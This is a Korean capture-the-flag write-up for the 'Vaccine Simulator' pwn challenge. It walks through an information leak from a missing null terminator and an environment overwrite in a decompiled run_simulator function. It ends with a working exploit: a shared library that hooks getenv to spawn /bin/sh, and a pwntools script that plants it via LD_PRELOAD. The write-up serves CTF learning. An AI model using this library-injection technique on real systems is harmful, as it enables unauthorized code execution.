Search

[사이버 작전 경연대회] Vaccine Simulator

Last edited time
2022/01/07 12:48
tag
pwn
Category
CTF 문제들
Visibility
Public

1. 문제

정리할 필요가 있는 의미있는 문제인듯해서 정리함.
(스승님의 롸업을 토대로 정리한 롸업임)
1) mitigation 확인
바이너리는 두개가 주어진다. 두 바이너리의 미티게이션은 다음과 같다.
2) 문제 확인
manager 바이너리를 실행시키면 cocktail vaccine을 입력받는다. 그 후에 6개의 메뉴가 출력된다.
1.
Add Vaccine
백신 타입 3개 중 하나를 선택하고, 해당 백신 설명을 입력받는다.
2.
Change vaccine order
순서대로 우리가 입력한 백신 정보가 들어가있다. 현재 하나만 추가했기 때문에 1번에 우리가 선택한 타입과 설명이 들어가 있다. 원하는 인덱스의 백신 위치를 바꿀수 있다.
3.
Delete vaccine from cocktail
추가한 백신을 삭제가능하다
4.
Save my cocktail vaccine
현재까지 입력한 백신 정보를 파일에 저장한다. 현재는 add 를 한번 호출했기 때문에 aaaaaa... 만 파일에 들어간다.
5.
Run simulator
시뮬레이터가 실행된다.
3) 코드흐름 파악
manager, simulator 바이너리 둘다 plt 테이블이 먼가 정상적이지 않아서 보기 쫌힘들다. 자꾸 함수 인자들이 사라지거나... 그래서 기드라와 병행해서 코드 분석을 진행하는게 좋다.
일단 우리가 입력한 값과 해당 값이 출력되는 부분을 우선순위로 살펴보았다.
main
bss 영역에 있는 main_cocktail에 최대 99바이트 입력을 받는다. main_cocktail은 288바이트 배열이다.
create_vaccine
1번 메뉴를 선택하면 백신 타입과, 설명을 작성할수 있었다. add_vaccine 함수 내부에서 create_vaccine 함수를 호출하는데, 여기에서 입력을 받게 된다. 0x410만큼 힙영역을 할당받고, 백신 타입을 선택한다.
백신타입 - 1 값을 할당받은 힙영역에 넣는다. 그리고 최대 0x400 만큼 할당받은 힙+8 위치에 기입을 한다. 그리고 해당 힙 주소를 반환한다.
add_vaccine
createVaccine()함수에서 할당받은 힙 주소를 반환한다. 현재 param_1에는 bss영역에 담긴 main_cockatil 주소가 담겨져 있다. 추가할수 있는 공간이 존재하는지 체크를 하고 존재한다면, 할당받은 주소 + 0x408에 main_cockail 주소를 넣는다.
그다음 할당 받은 주소를 main_cocktail+8 + 8*(변수+0xc)에 넣는다.
여기서 취약점이 하나 터진다. createvacine()에서 백신 설명은 최대 0x400 사이즈 만큼 받고, 0x408에 bss 주소를 넣는데, 입력값의 마지막에 널바이트를 추가하지 않는다.
0x555555559570: 0x0000000000000000 0x0000000000000000 0x555555559580: 0x0000000000000000 0x0000000000000000 0x555555559590: 0x0000000000000000 0x0000000000000000 0x5555555595a0: 0x0000000000000000 0x0000000000000000 0x5555555595b0: 0x0000000000000000 0x0000000000000000 0x5555555595c0: 0x0000000000000000 0x0000000000000000 0x5555555595d0: 0x0000000000000000 0x0000000000000000 0x5555555595e0: 0x0000000000000000 0x0000000000000000 0x5555555595f0: 0x0000000000000000 0x0000000000000000 0x555555559600: 0x0000000000000000 0x0000000000000000 0x555555559610: 0x0000000000000000 0x0000000000000000 0x555555559620: 0x0000000000000000 0x0000000000000000 0x555555559630: 0x0000000000000000 0x0000000000000000 0x555555559640: 0x0000000000000000 0x0000000000000000 0x555555559650: 0x0000000000000000 0x0000000000000000 0x555555559660: 0x0000000000000000 0x0000555555558060 0x555555559670: 0x0000000000000000 0x0000000000000421 0x555555559680: 0x0000000000000001 0x000000000a717171 0x555555559690: 0x0000000000000000 0x0000000000000000 0x5555555596a0: 0x0000000000000000 0x0000000000000000 0x5555555596b0: 0x0000000000000000 0x0000000000000000 0x5555555596c0: 0x0000000000000000 0x0000000000000000
Bash
복사
modify_vaccine
modify_vaccine 함수안에서 print_vaccines 함수를 호출하여 현재 add로 추가한 백신정보를 출력해준다. main_cocktail(param_1)로부터 일정 오프셋에 떨어진 곳에 저장된 힙 주소가 존재하면 그 안에 들어있는 데이터를 출력해준다.
아까 힙 주소에는 첫 8바이트에는 타입을 나타내는 값이 들어있고, 그다음 8바이트부터 0x400사이즈 이내에 백신 설명값이 들어있다. uVar2에는 백신 타입이 들어가고, lVar1+8에는 백신 설명이 들어가는데, 출력의 끝을 의미하는 널바이트가 없기 때문에 만약 0x400를 꽉채워서 백신 설명을 채우면,
0x555555559610: 0x0000000000000000 0x0000000000000000 0x555555559620: 0x0000000000000000 0x0000000000000000 0x555555559630: 0x0000000000000000 0x0000000000000000 0x555555559640: 0x0000000000000000 0x0000000000000000 0x555555559650: 0x0000000000000000 0x0000000000000000 0x555555559660: 0x0000000000000000 0x0000555555558060 0x555555559670: 0x0000000000000000 0x0000000000000421 0x555555559680: 0x0000000000000001 0x000000000a717171 0x555555559690: 0x0000000000000000 0x0000000000000000 0x5555555596a0: 0x0000000000000000 0x0000000000000000
Bash
복사
힙 + 0x408에 들어있는 bss 주소를 leak할수가 있다.
run_simulator
void run_simulator(char **param_1) { int iVar1; size_t sVar2; char *pcVar3; undefined cocktail_file [64]; //rbp-0xd8 char *local_98 [4]; //rbp-0x98 char local_78 [88]; char *local_20; char **env_addr; int local_c; local_98[0] = (char *)0x0; local_98[1] = 0; local_98[2] = (char *)0x0; local_98[3] = 0; local_c = 0; puts("Put Your cocktail file"); read(0,cocktail_file,0x48); env_addr = environ; while (*env_addr != (char *)0x0) { local_20 = *env_addr; iVar1 = strncmp(*env_addr,"PATH",4); if (iVar1 == 0) { sVar2 = strlen(*env_addr); local_c = local_c + 1; pcVar3 = (char *)malloc(sVar2 + 1); local_98[local_c] = pcVar3; strcpy(local_98[local_c],*env_addr); local_c = local_c + 1; } env_addr = env_addr + 1; } sprintf(local_78,"%s=%s","COCKTAIL_FILE",cocktail_file); local_98[2] = local_78; local_98[3] = 0; execve("/home/vaccine/simulator",param_1,local_98); return; }
C
복사
cocktail_file_name에다가 0x48만큼 입력을 받는다. 그리고 현재 환경변수를 가져와서 PATH 값을 local_98 배열에 저장한다. 그리고 execve로 simultor 바이너리를 실행시키는데, 인자로 manager 바이너리, 환경변수값이 들어있는 local_98을 주게된다.
헌데 현재 cocktail_file에서 마지막 8바이트가 local_98변수에 overwrite되므로 simulator 바이너리 실행시, 환경변수를 조작할수 있다.
save_cocktail
void save_cocktail(long param_1) { char local_78 [104]; int local_10; int local_c; get_cocktail_hash(param_1); sprintf(local_78,"/tmp/%s",param_1 + 0xe8); local_10 = open(local_78,0x42,0x1b6); local_c = 0; while (local_c < 0x10) { if (*(long *)(param_1 + 8 + ((long)local_c + 0xc) * 8) != 0) { write(local_10,(void *)(*(long *)(param_1 + 8 + ((long)local_c + 0xc) * 8) + 8),0x3ff); } local_c = local_c + 1; } close(local_10); printf("Your cocktail vaccine is saved at %s\n",local_78); return; }
C
복사
현재 add로 추가한 백신 설명을 반복문을 돌면서 /tmp/파일 안에 write한다. 백신 하나당 0x3ff 사이즈만큼 넣는다.

2. 접근방법

현재 bss영역의 주소가 leak됨
환경변수 조작가능
/tmp 파일에 우리가 입력하는 값이 들어감.
위 3가지의 정보를 가지고 어떻게 접근해야할까?
결론은 시뮬레이터 바이너리 실행시 환경변수를 조작할수 있다. 따라서 시뮬레이터 바이너리 내부에서 호출되는 라이브러리를 후킹하여 쉘을 얻게끔 조작하면 된다.
시나리오는 다음과 같다
1.
getenv() 함수 후킹 라이브러리 만들기
2.
hook.so 을 만들었으면, add 함수를 호출해서 힙에 데이터 넣기
단, add함수에서 최대 0x400만큼 입력 가능하고 save함수에서 한번에 wiret할수 있는 사이즈는 최대 0x3ff이므로 0x3ff단위로 입력
3.
4번 save 함수로 파일에 hook.so 내용 저장 후 파일 이름 저장
4.
프로세스 종료후 다시 프로세스 호출
힙 영역 초기화를 위해
5.
main에서 첨에 main_cockatil 영역에 " LD_PRELOAD=파일이름 " 문자열 저장
6.
add 를 한번 호출해서 0x400 만큼 데이터 넣기
7.
change 함수를 호출해서 main_cocktail 주소 leak
8.
run 함수를 호출해서 cocktail_file 변수에 입력을 0x40+leak한 주소 입력
이렇게 된후, execve로 시뮬레이터가 호출되면, 환경변수 주소에 leak한 주소가 들어감
최종적으로 시뮬레이터를 "LD_PRELOAD=파일이름" 문자열 주소를 환경변수로 하여, 실행이 되고, 현재 파일에 hook.so 내용을 들어가 있으므로 getenv함수가 후킹되어 쉘을 획득할 수 있다.

3. 풀이

hook.c
// gcc -shared -fpic -ldl -o hook_getenv.so hook_getenv.c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <dlfcn.h> #include <limits.h> #include <errno.h> #include <sys/stat.h> #include <fcntl.h> char* getenv(const char *name) { char* a="A"; char* str[2]; str[0] = "/bin/sh"; str[1] = NULL; execve("/bin/sh", str, NULL); return str; }
C
복사
최종익스 코드
from pwn import * context(log_level='debug') p=process('manager') #gdb.attach(p) def menu(index): p.sendlineafter('---\n\n> ',str(index)) def add(index,data): menu(index) p.sendlineafter("======================\n> ",str(index)) p.sendafter("Description\n> ",data) def run(index,data): menu(index) p.sendafter('file\n',"b"*0x40+p64(data)) def change(index): menu(index) leak=p.recvuntil('B'*0x400) leak=p.recv(6) leak=u64(leak.ljust(8,'\x00')) log.info(hex(leak)) p.sendlineafter('First > ',str(1)) p.sendlineafter('Second > ',str(1)) return leak def save(index): menu(index) p.recvuntil('at ') filename=p.recvuntil('\n')[:-1] log.info(filename) return filename def gen(): fd=open('hook_getenv.so') f=fd.read() fd.close() for i in range(len(f)/0x3ff+1): add(1,f[0x3ff*i:0x3ff*i+0x3ff]) p.recvuntil('vaccine\n') p.sendline('A') gen() filename=save(4) p.close() p=process('manager') #gdb.attach(p) p.recvuntil('vaccine\n') p.send('LD_PRELOAD='+filename) add(1,"B"*0x400) leak=change(2) pause() sleep(2) run(5,leak) p.interactive()
C
복사

4. 몰랐던 개념

환경변수를 이용한 RCE

5. 참고